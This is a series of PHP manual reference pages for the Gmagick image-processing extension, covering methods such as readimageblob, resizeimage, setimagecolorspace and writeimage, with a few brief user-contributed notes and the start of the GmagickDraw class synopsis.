User Contributed Notes

There are no user contributed notes for this page.


Reads image from a binary string

  • « Gmagick::readimage
  • Gmagick::readimagefile »
  • PHP Manual
  • Gmagick
  • Reads image from a binary string

Gmagick::readimageblob

(PECL gmagick >= Unknown)

Gmagick::readimageblob — Reads image from a binary string

Description

public void Gmagick::readimageblob ( string $imageContents [, string $filename ] )

Reads image from a binary string.

Parameters

imageContents

Content of image

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

MPLong 28-Jun-2010 08:29
If you want to be able to do the opposite (output your gmagick object to a blob), then use getImageBlob() like this:

$outputstring = $im->getImageBlob();

This is apparently undocumented here, but since the entire library is ported/modeled on the imagemagick library, it makes sense that it uses the same name as imagemagick.


The readimagefile purpose

  • « Gmagick::readimageblob
  • Gmagick::reducenoiseimage »
  • PHP Manual
  • Gmagick
  • The readimagefile purpose

Gmagick::readimagefile

(PECL gmagick >= Unknown)

Gmagick::readimagefile — The readimagefile purpose

Description

public void Gmagick::readimagefile ( resource $fp [, string $filename ] )

Reads an image or image sequence from an open file descriptor.

Parameters

fp

The file descriptor.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Smooths the contours of an image

  • « Gmagick::readimagefile
  • Gmagick::removeimage »
  • PHP Manual
  • Gmagick
  • Smooths the contours of an image

Gmagick::reducenoiseimage

(PECL gmagick >= Unknown)

Gmagick::reducenoiseimage — Smooths the contours of an image

Description

public void Gmagick::reducenoiseimage ( float $radius )

Smooths the contours of an image while still preserving edge information. The algorithm works by replacing each pixel with its neighbor closest in value. A neighbor is defined by radius. Use a radius of 0 and Gmagick::reduceNoiseImage() selects a suitable radius for you.

Parameters

radius

The radius of the pixel neighborhood.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Removes an image from the image list

  • « Gmagick::reducenoiseimage
  • Gmagick::removeimageprofile »
  • PHP Manual
  • Gmagick
  • Removes an image from the image list

Gmagick::removeimage

(PECL gmagick >= Unknown)

Gmagick::removeimage — Removes an image from the image list

Description

public void Gmagick::removeimage ( void )

Removes an image from the image list.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Removes the named image profile and returns it

  • « Gmagick::removeimage
  • Gmagick::resampleimage »
  • PHP Manual
  • Gmagick
  • Removes the named image profile and returns it

Gmagick::removeimageprofile

(PECL gmagick >= Unknown)

Gmagick::removeimageprofile — Removes the named image profile and returns it

Description

public string Gmagick::removeimageprofile ( string $name )

Removes the named image profile and returns it.

Parameters

name

Name of profile to return: ICC, IPTC, or generic profile.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Resample image to desired resolution

  • « Gmagick::removeimageprofile
  • Gmagick::resizeimage »
  • PHP Manual
  • Gmagick
  • Resample image to desired resolution

Gmagick::resampleimage

(PECL gmagick >= Unknown)

Gmagick::resampleimage — Resample image to desired resolution

Description

public void Gmagick::resampleimage ( float $xResolution , float $yResolution , int $filter , float $blur )

Resample image to desired resolution.

Parameters

xResolution

The new image x resolution.

yResolution

The new image y resolution.

filter

Image filter to use.

blur

The blur factor where larger than 1 is blurry, smaller than 1 is sharp.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Scales an image

  • « Gmagick::resampleimage
  • Gmagick::rollimage »
  • PHP Manual
  • Gmagick
  • Scales an image

Gmagick::resizeimage

(PECL gmagick >= Unknown)

Gmagick::resizeimage — Scales an image

Description

public void Gmagick::resizeimage ( int $width , int $height , int $filter , float $blur [, bool $fit = false ] )

Scales an image to the desired dimensions with a filter.

Parameters

width

The number of columns in the scaled image.

height

The number of rows in the scaled image.

filter

Image filter to use.

blur

The blur factor where larger than 1 is blurry, lesser than 1 is sharp.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Offsets an image

  • « Gmagick::resizeimage
  • Gmagick::rotateimage »
  • PHP Manual
  • Gmagick
  • Offsets an image

Gmagick::rollimage

(PECL gmagick >= Unknown)

Gmagick::rollimage — Offsets an image

Description

public void Gmagick::rollimage ( int $x , int $y )

Offsets an image as defined by x and y.

Parameters

x

The x offset.

y

The y offset.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Rotates an image

  • « Gmagick::rollimage
  • Gmagick::scaleimage »
  • PHP Manual
  • Gmagick
  • Rotates an image

Gmagick::rotateimage

(PECL gmagick >= Unknown)

Gmagick::rotateimage — Rotates an image

Description

public Gmagick Gmagick::rotateimage ( mixed $color , float $degrees )

Rotates an image the specified number of degrees. Empty triangles left over from rotating the image are filled with the background color.

Parameters

color

The background pixel.

degrees

The number of degrees to rotate the image.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Scales the size of an image

  • « Gmagick::rotateimage
  • Gmagick::separateimagechannel »
  • PHP Manual
  • Gmagick
  • Scales the size of an image

Gmagick::scaleimage

(PECL gmagick >= Unknown)

Gmagick::scaleimage — Scales the size of an image

Description

public Gmagick Gmagick::scaleimage ( int $width , int $height [, bool $fit = false ] )

Scales the size of an image to the given dimensions. The other parameter will be calculated if 0 is passed as either param.

Parameters

width

The number of columns in the scaled image.

height

The number of rows in the scaled image.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Separates a channel from the image

  • « Gmagick::scaleimage
  • Gmagick::setfilename »
  • PHP Manual
  • Gmagick
  • Separates a channel from the image

Gmagick::separateimagechannel

(PECL gmagick >= Unknown)

Gmagick::separateimagechannel — Separates a channel from the image

Description

public Gmagick Gmagick::separateimagechannel ( int $channel )

Separates a channel from the image and returns a grayscale image. A channel is a particular color component of each pixel in the image.

Parameters

channel

Identify which channel to extract: RedChannel, GreenChannel, BlueChannel, OpacityChannel, CyanChannel, MagentaChannel, YellowChannel, BlackChannel.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the filename before you read or write the image

  • « Gmagick::separateimagechannel
  • Gmagick::setimagebackgroundcolor »
  • PHP Manual
  • Gmagick
  • Sets the filename before you read or write the image

Gmagick::setfilename

(PECL gmagick >= Unknown)

Gmagick::setfilename — Sets the filename before you read or write the image

Description

public Gmagick Gmagick::setfilename ( string $filename )

Sets the filename before you read or write an image file.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image background color.

  • « Gmagick::setfilename
  • Gmagick::setimageblueprimary »
  • PHP Manual
  • Gmagick
  • Sets the image background color.

Gmagick::setimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::setimagebackgroundcolor — Sets the image background color.

Description

public Gmagick Gmagick::setimagebackgroundcolor ( GmagickPixel $color )

Sets the image background color.

Parameters

color

The background pixel wand.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity blue primary point.

  • « Gmagick::setimagebackgroundcolor
  • Gmagick::setimagebordercolor »
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity blue primary point.

Gmagick::setimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point.

Description

public Gmagick Gmagick::setimageblueprimary ( float $x , float $y )

Sets the image chromaticity blue primary point.

Parameters

x

The blue primary x-point.

y

The blue primary y-point.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image border color.

  • « Gmagick::setimageblueprimary
  • Gmagick::setimagechanneldepth »
  • PHP Manual
  • Gmagick
  • Sets the image border color.

Gmagick::setimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::setimagebordercolor — Sets the image border color.

Description

public Gmagick Gmagick::setimagebordercolor ( GmagickPixel $color )

Sets the image border color.

Parameters

color

The border pixel wand.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the depth of a particular image channel

  • « Gmagick::setimagebordercolor
  • Gmagick::setimagecolorspace »
  • PHP Manual
  • Gmagick
  • Sets the depth of a particular image channel

Gmagick::setimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::setimagechanneldepth — Sets the depth of a particular image channel

Description

public Gmagick Gmagick::setimagechanneldepth ( int $channel , int $depth )

Sets the depth of a particular image channel.

Parameters

channel

Identify which channel to extract: RedChannel, GreenChannel, BlueChannel, OpacityChannel, CyanChannel, MagentaChannel, YellowChannel, BlackChannel.

depth

The image depth in bits.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image colorspace

  • « Gmagick::setimagechanneldepth
  • Gmagick::setimagecompose »
  • PHP Manual
  • Gmagick
  • Sets the image colorspace

Gmagick::setimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::setimagecolorspace — Sets the image colorspace

Description

public Gmagick Gmagick::setimagecolorspace ( int $colorspace )

Sets the image colorspace.

Parameters

colorspace

The image colorspace: UndefinedColorspace, RGBColorspace, GRAYColorspace, TransparentColorspace, OHTAColorspace, XYZColorspace, YCbCrColorspace, YCCColorspace, YIQColorspace, YPbPrColorspace, YPbPrColorspace, YUVColorspace, CMYKColorspace, sRGBColorspace, HSLColorspace, or HWBColorspace.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

MPLong 28-Jun-2010 08:24
Convert CMYK to RGB:

<?php
$cs = $im->getimagecolorspace();
if ($cs == Gmagick::COLORSPACE_CMYK)
{
     $im->setImageColorspace(Gmagick::COLORSPACE_SRGB);
}
?>


Sets the image composite operator

  • « Gmagick::setimagecolorspace
  • Gmagick::setimagedelay »
  • PHP Manual
  • Gmagick
  • Sets the image composite operator

Gmagick::setimagecompose

(PECL gmagick >= Unknown)

Gmagick::setimagecompose — Sets the image composite operator

Description

public Gmagick Gmagick::setimagecompose ( int $composite )

Sets the image composite operator.

Parameters

composite

The image composite operator.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image delay

  • « Gmagick::setimagecompose
  • Gmagick::setimagedepth »
  • PHP Manual
  • Gmagick
  • Sets the image delay

Gmagick::setimagedelay

(PECL gmagick >= Unknown)

Gmagick::setimagedelay — Sets the image delay

Description

public Gmagick Gmagick::setimagedelay ( int $delay )

Sets the image delay

Parameters

delay

The image delay in 1/100th of a second.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image depth

  • « Gmagick::setimagedelay
  • Gmagick::setimagedispose »
  • PHP Manual
  • Gmagick
  • Sets the image depth

Gmagick::setimagedepth

(PECL gmagick >= Unknown)

Gmagick::setimagedepth — Sets the image depth

Description

public Gmagick Gmagick::setimagedepth ( int $depth )

Sets the image depth

Parameters

depth

The image depth in bits: 8, 16, or 32.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image disposal method

  • « Gmagick::setimagedepth
  • Gmagick::setimagefilename »
  • PHP Manual
  • Gmagick
  • Sets the image disposal method

Gmagick::setimagedispose

(PECL gmagick >= Unknown)

Gmagick::setimagedispose — Sets the image disposal method

Description

public Gmagick Gmagick::setimagedispose ( int $disposeType )

Sets the image disposal method.

Parameters

disposeType

The image disposal type.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the filename of a particular image in a sequence

  • « Gmagick::setimagedispose
  • Gmagick::setimageformat »
  • PHP Manual
  • Gmagick
  • Sets the filename of a particular image in a sequence

Gmagick::setimagefilename

(PECL gmagick >= Unknown)

Gmagick::setimagefilename — Sets the filename of a particular image in a sequence

Description

public Gmagick Gmagick::setimagefilename ( string $filename )

Sets the filename of a particular image in a sequence.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the format of a particular image

  • « Gmagick::setimagefilename
  • Gmagick::setimagegamma »
  • PHP Manual
  • Gmagick
  • Sets the format of a particular image

Gmagick::setimageformat

(PECL gmagick >= Unknown)

Gmagick::setimageformat — Sets the format of a particular image

Description

public Gmagick Gmagick::setimageformat ( string $imageFormat )

Sets the format of a particular image in a sequence.

Parameters

imageFormat

The image format.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image gamma

  • « Gmagick::setimageformat
  • Gmagick::setimagegreenprimary »
  • PHP Manual
  • Gmagick
  • Sets the image gamma

Gmagick::setimagegamma

(PECL gmagick >= Unknown)

Gmagick::setimagegamma — Sets the image gamma

Description

public Gmagick Gmagick::setimagegamma ( float $gamma )

Sets the image gamma.

Parameters

gamma

The image gamma.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


TSets the image chromaticity green primary point.

  • « Gmagick::setimagegamma
  • Gmagick::setimageindex »
  • PHP Manual
  • Gmagick
  • TSets the image chromaticity green primary point.

Gmagick::setimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::setimagegreenprimary — TSets the image chromaticity green primary point.

Description

public Gmagick Gmagick::setimagegreenprimary ( float $x , float $y )

Sets the image chromaticity green primary point.

Parameters

x

The chromaticity green primary x-point.

y

The chromaticity green primary y-point.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator to the position in the image list specified with the index parameter

  • « Gmagick::setimagegreenprimary
  • Gmagick::setimageinterlacescheme »
  • PHP Manual
  • Gmagick
  • Set the iterator to the position in the image list specified with the index parameter

Gmagick::setimageindex

(PECL gmagick >= Unknown)

Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter

Description

public Gmagick Gmagick::setimageindex ( int $index )

Set the iterator to the position in the image list specified with the index parameter.

Parameters

index

The scene number.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the interlace scheme of the image.

  • « Gmagick::setimageindex
  • Gmagick::setimageiterations »
  • PHP Manual
  • Gmagick
  • Sets the interlace scheme of the image.

Gmagick::setimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image.

Description

public Gmagick Gmagick::setimageinterlacescheme ( int $interlace )

Sets the interlace scheme of the image.

Parameters

interlace

The image interlace scheme: NoInterlace, LineInterlace, PlaneInterlace, PartitionInterlace.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Isius 03-Jan-2013 12:24
Just in case you're having trouble finding the constants for this like I was. They are as-of-yet unlisted on the predefined constants page.

INTERLACE_UNDEFINED, UndefinedInterlace
INTERLACE_NO, NoInterlace
INTERLACE_LINE, LineInterlace
INTERLACE_PLANE, PlaneInterlace
INTERLACE_PARTITION, PartitionInterlace


Sets the image iterations.

  • « Gmagick::setimageinterlacescheme
  • Gmagick::setimageprofile »
  • PHP Manual
  • Gmagick
  • Sets the image iterations.

Gmagick::setimageiterations

(PECL gmagick >= Unknown)

Gmagick::setimageiterations — Sets the image iterations.

Description

public Gmagick Gmagick::setimageiterations ( int $iterations )

Sets the image iterations.

Parameters

iterations

The image delay in 1/100th of a second.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds a named profile to the Gmagick object

  • « Gmagick::setimageiterations
  • Gmagick::setimageredprimary »
  • PHP Manual
  • Gmagick
  • Adds a named profile to the Gmagick object

Gmagick::setimageprofile

(PECL gmagick >= Unknown)

Gmagick::setimageprofile — Adds a named profile to the Gmagick object

Description

public Gmagick Gmagick::setimageprofile ( string $name , string $profile )

Adds a named profile to the Gmagick object. If a profile with the same name already exists, it is replaced. This method differs from the Gmagick::ProfileImage() method in that it does not apply any CMS color profiles.

Parameters

name

Name of profile to add or remove: ICC, IPTC, or generic profile.

profile

The profile.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity red primary point.

  • « Gmagick::setimageprofile
  • Gmagick::setimagerenderingintent »
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity red primary point.

Gmagick::setimageredprimary

(PECL gmagick >= Unknown)

Gmagick::setimageredprimary — Sets the image chromaticity red primary point.

Description

public Gmagick Gmagick::setimageredprimary ( float $x , float $y )

Sets the image chromaticity red primary point.

Parameters

x

The red primary x-point.

y

The red primary y-point.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image rendering intent

  • « Gmagick::setimageredprimary
  • Gmagick::setimageresolution »
  • PHP Manual
  • Gmagick
  • Sets the image rendering intent

Gmagick::setimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::setimagerenderingintent — Sets the image rendering intent

Description

public Gmagick Gmagick::setimagerenderingintent ( int $rendering_intent )

Sets the image rendering intent.

Parameters

rendering_intent

The image rendering intent: UndefinedIntent, SaturationIntent, PerceptualIntent, AbsoluteIntent, or RelativeIntent.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image resolution

  • « Gmagick::setimagerenderingintent
  • Gmagick::setimagescene »
  • PHP Manual
  • Gmagick
  • Sets the image resolution

Gmagick::setimageresolution

(PECL gmagick >= Unknown)

Gmagick::setimageresolution — Sets the image resolution

Description

public Gmagick Gmagick::setimageresolution ( float $xResolution , float $yResolution )

Sets the image resolution.

Parameters

xResolution

The image x resolution.

yResolution

The image y resolution.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image scene

  • « Gmagick::setimageresolution
  • Gmagick::setimagetype »
  • PHP Manual
  • Gmagick
  • Sets the image scene

Gmagick::setimagescene

(PECL gmagick >= Unknown)

Gmagick::setimagescene — Sets the image scene

Description

public Gmagick Gmagick::setimagescene ( int $scene )

Sets the image scene.

Parameters

scene

The image scene number.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image type

  • « Gmagick::setimagescene
  • Gmagick::setimageunits »
  • PHP Manual
  • Gmagick
  • Sets the image type

Gmagick::setimagetype

(PECL gmagick >= Unknown)

Gmagick::setimagetype — Sets the image type

Description

public Gmagick Gmagick::setimagetype ( int $imgType )

Sets the image type.

Parameters

imgType

The image type: UndefinedType, BilevelType, GrayscaleType, GrayscaleMatteType, PaletteType, PaletteMatteType, TrueColorType, TrueColorMatteType, ColorSeparationType, ColorSeparationMatteType, or OptimizeType.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Jrg Wagner 18-Sep-2012 08:52
The predefined constant values listed here are wrong. The correct values can be found at:
www.php.net/manual/de/gmagick.constants.php

They are:
Gmagick::IMGTYPE_UNDEFINED (integer)
Gmagick::IMGTYPE_BILEVEL (integer)
Gmagick::IMGTYPE_GRAYSCALE (integer)
Gmagick::IMGTYPE_GRAYSCALEMATTE (integer)
Gmagick::IMGTYPE_PALETTE (integer)
Gmagick::IMGTYPE_PALETTEMATTE (integer)
Gmagick::IMGTYPE_TRUECOLOR (integer)
Gmagick::IMGTYPE_TRUECOLORMATTE (integer)
Gmagick::IMGTYPE_COLORSEPARATION (integer)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
Gmagick::IMGTYPE_OPTIMIZE (integer)

The $image_Type parameter can be one of these constants:

imagick::IMGTYPE_UNDEFINED (integer)
imagick::IMGTYPE_BILEVEL (integer)
imagick::IMGTYPE_GRAYSCALE (integer)
imagick::IMGTYPE_GRAYSCALEMATTE (integer)
imagick::IMGTYPE_PALETTE (integer)
imagick::IMGTYPE_PALETTEMATTE (integer)
imagick::IMGTYPE_TRUECOLOR (integer)
imagick::IMGTYPE_TRUECOLORMATTE (integer)
imagick::IMGTYPE_COLORSEPARATION (integer)
imagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
imagick::IMGTYPE_OPTIMIZE (integer)

See section "IMGTYPE constants" at http://www.php.net/manual/en/imagick.constants.php


Sets the image units of resolution.

  • « Gmagick::setimagetype
  • Gmagick::setimagewhitepoint »
  • PHP Manual
  • Gmagick
  • Sets the image units of resolution.

Gmagick::setimageunits

(PECL gmagick >= Unknown)

Gmagick::setimageunits — Sets the image units of resolution.

Description

public Gmagick Gmagick::setimageunits ( int $resolution )

Sets the image units of resolution.

Parameters

resolution

The image units of resolution : Undefinedresolution, PixelsPerInchResolution, or PixelsPerCentimeterResolution.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity white point.

  • « Gmagick::setimageunits
  • Gmagick::setsamplingfactors »
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity white point.

Gmagick::setimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::setimagewhitepoint — Sets the image chromaticity white point.

Description

public Gmagick Gmagick::setimagewhitepoint ( float $x , float $y )

Sets the image chromaticity white point.

Parameters

x

The white x-point.

y

The white y-point.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image sampling factors.

  • « Gmagick::setimagewhitepoint
  • Gmagick::setsize »
  • PHP Manual
  • Gmagick
  • Sets the image sampling factors.

Gmagick::setsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::setsamplingfactors — Sets the image sampling factors.

Description

public Gmagick Gmagick::setsamplingfactors ( array $factors )

Sets the image sampling factors.

Parameters

factors

An array of doubles representing the sampling factor for each color component (in RGB order).

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the size of the Gmagick object

  • « Gmagick::setsamplingfactors
  • Gmagick::shearimage »
  • PHP Manual
  • Gmagick
  • Sets the size of the Gmagick object

Gmagick::setsize

(PECL gmagick >= Unknown)

Gmagick::setsize — Sets the size of the Gmagick object

Description

public Gmagick Gmagick::setsize ( int $columns , int $rows )

Sets the size of the Gmagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK.

Parameters

columns

The width in pixels.

rows

The height in pixels.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Creating a parallelogram

  • « Gmagick::setsize
  • Gmagick::solarizeimage »
  • PHP Manual
  • Gmagick
  • Creating a parallelogram

Gmagick::shearimage

(PECL gmagick >= Unknown)

Gmagick::shearimage — Creating a parallelogram

Description

public Gmagick Gmagick::shearimage ( mixed $color , float $xShear , float $yShear )

Slides one edge of an image along the X or Y axis, creating a parallelogram. An X direction shear slides an edge along the X axis, while a Y direction shear slides an edge along the Y axis. The amount of the shear is controlled by a shear angle. For X direction shears, x_shear is measured relative to the Y axis, and similarly, for Y direction shears y_shear is measured relative to the X axis. Empty triangles left over from shearing the image are filled with the background color.

Parameters

color

The background pixel wand.

xShear

The number of degrees to shear the image.

yShear

The number of degrees to shear the image.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Applies a solarizing effect to the image

  • « Gmagick::shearimage
  • Gmagick::spreadimage »
  • PHP Manual
  • Gmagick
  • Applies a solarizing effect to the image

Gmagick::solarizeimage

(PECL gmagick >= Unknown)

Gmagick::solarizeimage — Applies a solarizing effect to the image

Description

public Gmagick Gmagick::solarizeimage ( int $threshold )

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by selectively exposing areas of photo sensitive paper to light. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the solarization.

Parameters

threshold

Define the extent of the solarization.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Randomly displaces each pixel in a block

  • « Gmagick::solarizeimage
  • Gmagick::stripimage »
  • PHP Manual
  • Gmagick
  • Randomly displaces each pixel in a block

Gmagick::spreadimage

(PECL gmagick >= Unknown)

Gmagick::spreadimage — Randomly displaces each pixel in a block

Description

public Gmagick Gmagick::spreadimage ( float $radius )

Special effects method that randomly displaces each pixel in a block defined by the radius parameter.

Parameters

radius

Choose a random pixel in a neighborhood of this extent.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Strips an image of all profiles and comments

  • « Gmagick::spreadimage
  • Gmagick::swirlimage »
  • PHP Manual
  • Gmagick
  • Strips an image of all profiles and comments

Gmagick::stripimage

(PECL gmagick >= Unknown)

Gmagick::stripimage — Strips an image of all profiles and comments

Description

public Gmagick Gmagick::stripimage ( void )

Strips an image of all profiles and comments.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Swirls the pixels about the center of the image

  • « Gmagick::stripimage
  • Gmagick::thumbnailimage »
  • PHP Manual
  • Gmagick
  • Swirls the pixels about the center of the image

Gmagick::swirlimage

(PECL gmagick >= Unknown)

Gmagick::swirlimage — Swirls the pixels about the center of the image

Description

public Gmagick Gmagick::swirlimage ( float $degrees )

Swirls the pixels about the center of the image, where degrees indicates the sweep of the arc through which each pixel is moved. You get a more dramatic effect as the degrees move from 1 to 360.

Parameters

degrees

Define the tightness of the swirling effect.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Changes the size of an image

  • « Gmagick::swirlimage
  • Gmagick::trimimage »
  • PHP Manual
  • Gmagick
  • Changes the size of an image

Gmagick::thumbnailimage

(PECL gmagick >= Unknown)

Gmagick::thumbnailimage — Changes the size of an image

Description

public Gmagick Gmagick::thumbnailimage ( int $width , int $height [, bool $fit = false ] )

Changes the size of an image to the given dimensions and removes any associated profiles. The goal is to produce small low cost thumbnail images suited for display on the Web. If TRUE is given as a third parameter then columns and rows parameters are used as maximums for each side. Both sides will be scaled down until the match or are smaller than the parameter given for the side.

Parameters

width

Image width

height

Image height

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

isius 18-Jun-2014 12:21
It's not mentioned, but this function removes all profiles, etcetera from the image.


Remove edges from the image

  • « Gmagick::thumbnailimage
  • Gmagick::write »
  • PHP Manual
  • Gmagick
  • Remove edges from the image

Gmagick::trimimage

(PECL gmagick >= Unknown)

Gmagick::trimimage — Remove edges from the image

Description

public Gmagick Gmagick::trimimage ( float $fuzz )

Remove edges that are the background color from the image.

Parameters

fuzz

By default target must match a particular pixel color exactly. However, in many cases two colors may differ by a small amount. The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same. This parameter represents the variation on the quantum range.

Return Values

The Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Writes an image to the specified filename

  • « Gmagick::trimimage
  • Gmagick::writeimage »
  • PHP Manual
  • Gmagick
  • Writes an image to the specified filename

Gmagick::write

(PECL gmagick >= Unknown)

Gmagick::write — Writes an image to the specified filename

Description

public void Gmagick::write ( string $filename )

Writes an image to the specified filename. If the filename parameter is NULL, the image is written to the filename set by Gmagick::ReadImage() or Gmagick::SetImageFilename().

Parameters

filename

The image filename.

Return Values

The Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Writes an image to the specified filename

  • « Gmagick::write
  • GmagickDraw »
  • PHP Manual
  • Gmagick
  • Writes an image to the specified filename

Gmagick::writeimage

(PECL gmagick >= Unknown)

Gmagick::writeimage — Writes an image to the specified filename

Description

public Gmagick Gmagick::writeimage ( string $filename [, bool $all_frames = false ] )

Writes an image to the specified filename. If the filename parameter is NULL, the image is written to the filename set by Gmagick::ReadImage() or Gmagick::SetImageFilename().

Parameters

filename

The image filename.

Return Values

The Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The GmagickDraw class

(PECL gmagick >= Unknown)

Introduction

Class synopsis

GmagickDraw {
/* Methods */
public GmagickDraw annotate ( float $x , float $y , string $text )
public GmagickDraw arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )
public GmagickDraw bezier ( array $coordinate_array )
public GmagickDraw ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )
public void getfillcolor ( void )
public float getfillopacity ( void )
public string getfont ( void )
public float getfontsize ( void )
public int getfontstyle ( void )
public int getfontweight ( void )
public void getstrokecolor ( void )
public float getstrokeopacity ( void )
public float getstrokewidth ( void )
public int gettextdecoration ( void )
public string gettextencoding ( void )
public GmagickDraw line ( float $sx , float $sy , float $ex , float $ey )
public GmagickDraw point ( float $x , float $y )
public GmagickDraw polygon ( array $coordinates )
public GmagickDraw polyline ( array $coordinate_array )
